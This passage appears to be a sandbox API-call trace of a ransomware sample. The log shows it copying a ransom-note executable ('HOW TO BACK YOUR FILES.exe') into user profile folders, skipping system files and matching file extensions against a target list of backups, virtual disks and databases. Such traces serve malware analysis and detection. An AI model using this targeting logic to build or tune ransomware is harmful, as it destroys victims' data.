	[0054.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.679] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.680] CloseHandle (hObject=0x15c) returned 1
	[0054.680] CloseHandle (hObject=0x154) returned 1
	[0054.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.680] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
	[0054.680] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.680] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0054.680] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0054.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0054.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0054.680] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 64
	[0054.680] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0054.680] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.681] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.681] GetLastError () returned 0x0
	[0054.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.681] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.681] CloseHandle (hObject=0x14c) returned 1
	[0054.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.681] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.681] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.681] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.681] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.681] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.681] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.681] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.681] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.681] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.681] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.681] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.682] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.682] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.682] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.682] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0054.682] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media"
	[0054.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0054.682] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned 54
	[0054.682] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media"
	[0054.682] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.682] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.682] GetLastError () returned 0x0
	[0054.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.683] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.683] CloseHandle (hObject=0x14c) returned 1
	[0054.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.683] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.683] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.683] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.683] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.683] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.683] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.683] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e888c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e888c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="Apollon865.txt.exe") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2=".") returned 1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="..") returned 1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="windows") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="bootmgr") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="temp") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="pagefile.sys") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="boot") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="ids.txt") returned -1
	[0054.683] lstrcmpiW (lpString1="12.0", lpString2="ntuser.dat") returned -1
	[0054.684] lstrcmpiW (lpString1="12.0", lpString2="perflogs") returned -1
	[0054.684] lstrcmpiW (lpString1="12.0", lpString2="MSBuild") returned -1
	[0054.684] lstrlenW (lpString="12.0") returned 4
	[0054.684] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*") returned 56
	[0054.684] lstrcpyW (in: lpString1=0x119e676, lpString2="12.0" | out: lpString1="12.0") returned="12.0"
	[0054.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0054.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0054.684] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0054.684] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.684] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.684] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.684] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.684] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0054.684] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0054.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0054.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0054.684] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 59
	[0054.684] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0054.684] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.684] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.685] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.685] GetLastError () returned 0x0
	[0054.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.685] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.685] CloseHandle (hObject=0x14c) returned 1
	[0054.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.685] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.685] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e888c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e888c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.685] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.685] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.685] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.685] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e888c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e888c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.685] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.685] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.685] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.685] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.685] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e862b30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e862b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.685] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.686] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="Apollon865.txt.exe") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="..") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="windows") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="bootmgr") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="temp") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="pagefile.sys") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="boot") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="ids.txt") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="ntuser.dat") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="perflogs") returned 1
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="MSBuild") returned 1
	[0054.686] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0054.686] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*") returned 61
	[0054.686] lstrcpyW (in: lpString1=0x119e680, lpString2="WMSDKNS.DTD" | out: lpString1="WMSDKNS.DTD") returned="WMSDKNS.DTD"
	[0054.686] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0054.686] lstrlenW (lpString="Apollon865") returned 10
	[0054.686] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="Apollon865") returned 1
	[0054.686] lstrlenW (lpString=".dll") returned 4
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".dll") returned 1
	[0054.686] lstrlenW (lpString=".lnk") returned 4
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".lnk") returned 1
	[0054.686] lstrlenW (lpString=".ini") returned 4
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".ini") returned 1
	[0054.686] lstrlenW (lpString=".sys") returned 4
	[0054.686] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".sys") returned 1
	[0054.686] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0054.686] lstrlenW (lpString="bak") returned 3
	[0054.686] lstrcmpiW (lpString1="DTD", lpString2="bak") returned 1
	[0054.686] lstrlenW (lpString="ba_") returned 3
	[0054.686] lstrcmpiW (lpString1="DTD", lpString2="ba_") returned 1
	[0054.687] lstrlenW (lpString="dbb") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="dbb") returned 1
	[0054.687] lstrlenW (lpString="vmdk") returned 4
	[0054.687] lstrcmpiW (lpString1=".DTD", lpString2="vmdk") returned -1
	[0054.687] lstrlenW (lpString="rar") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="rar") returned -1
	[0054.687] lstrlenW (lpString="zip") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="zip") returned -1
	[0054.687] lstrlenW (lpString="tgz") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="tgz") returned -1
	[0054.687] lstrlenW (lpString="vbox") returned 4
	[0054.687] lstrcmpiW (lpString1=".DTD", lpString2="vbox") returned -1
	[0054.687] lstrlenW (lpString="vdi") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="vdi") returned -1
	[0054.687] lstrlenW (lpString="vhd") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="vhd") returned -1
	[0054.687] lstrlenW (lpString="vhdx") returned 4
	[0054.687] lstrcmpiW (lpString1=".DTD", lpString2="vhdx") returned -1
	[0054.687] lstrlenW (lpString="avhd") returned 4
	[0054.687] lstrcmpiW (lpString1=".DTD", lpString2="avhd") returned -1
	[0054.687] lstrlenW (lpString="db") returned 2
	[0054.687] lstrcmpiW (lpString1="TD", lpString2="db") returned 1
	[0054.687] lstrlenW (lpString="db2") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="db2") returned 1
	[0054.687] lstrlenW (lpString="db3") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="db3") returned 1
	[0054.687] lstrlenW (lpString="dbf") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="dbf") returned 1
	[0054.687] lstrlenW (lpString="mdf") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="mdf") returned -1
	[0054.687] lstrlenW (lpString="mdb") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="mdb") returned -1
	[0054.687] lstrlenW (lpString="sql") returned 3
	[0054.687] lstrcmpiW (lpString1="DTD", lpString2="sql") returned -1
	[0054.688] lstrlenW (lpString="sqlite") returned 6
	[0054.688] lstrcmpiW (lpString1="NS.DTD", lpString2="sqlite") returned -1
	[0054.688] lstrlenW (lpString="sqlite3") returned 7
	[0054.688] lstrcmpiW (lpString1="KNS.DTD", lpString2="sqlite3") returned -1
	[0054.688] lstrlenW (lpString="sqlitedb") returned 8
	[0054.688] lstrcmpiW (lpString1="DKNS.DTD", lpString2="sqlitedb") returned -1
	[0054.688] lstrlenW (lpString="xml") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="xml") returned -1
	[0054.688] lstrlenW (lpString="$er") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="$er") returned 1
	[0054.688] lstrlenW (lpString="4dd") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="4dd") returned 1
	[0054.688] lstrlenW (lpString="4dl") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="4dl") returned 1
	[0054.688] lstrlenW (lpString="^^^") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="^^^") returned 1
	[0054.688] lstrlenW (lpString="abs") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="abs") returned 1
	[0054.688] lstrlenW (lpString="abx") returned 3
	[0054.688] lstrcmpiW (lpString1="DTD", lpString2="abx") returned 1
	[0054.688] lstrlenW (lpString="accdb") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accdb") returned 1
	[0054.688] lstrlenW (lpString="accdc") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accdc") returned 1
	[0054.688] lstrlenW (lpString="accde") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accde") returned 1
